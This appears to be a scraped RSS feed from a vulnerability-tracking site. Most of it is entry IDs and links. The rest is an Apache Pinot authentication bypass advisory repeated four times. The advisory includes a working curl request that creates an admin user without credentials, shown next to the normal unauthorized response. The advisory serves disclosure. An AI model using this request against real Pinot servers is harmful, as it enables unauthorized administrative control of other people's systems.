Most recent entries from all https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 09 Oct 2026 01:19:53 +0000 bdu:2025-02929 https://cve.radiocsirt.org/vuln/bdu:2025-02929 bdu:2025-02929 https://cve.radiocsirt.org/vuln/bdu:2025-02929 EUVD-2026-256896 https://cve.radiocsirt.org/vuln/euvd-2026-256896 EUVD-2026-256896 https://cve.radiocsirt.org/vuln/euvd-2026-256896 fkie_cve-2024-56325 https://cve.radiocsirt.org/vuln/fkie_cve-2024-56325 <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-56325 GHSA-6jwp-4wvj-6597 — Apache Pinot Vulnerable to Authentication Bypass https://cve.radiocsirt.org/vuln/ghsa-6jwp-4wvj-6597 <p><strong>Affected:</strong> Maven: org.apache.pinot:pinot-broker, Maven: org.apache.pinot:pinot-common, Maven: org.apache.pinot:pinot-controller</p> <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> <p><strong>Affected:</strong> Maven: org.apache.pinot:pinot-broker, Maven: org.apache.pinot:pinot-common, Maven: org.apache.pinot:pinot-controller</p> <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> https://cve.radiocsirt.org/vuln/ghsa-6jwp-4wvj-6597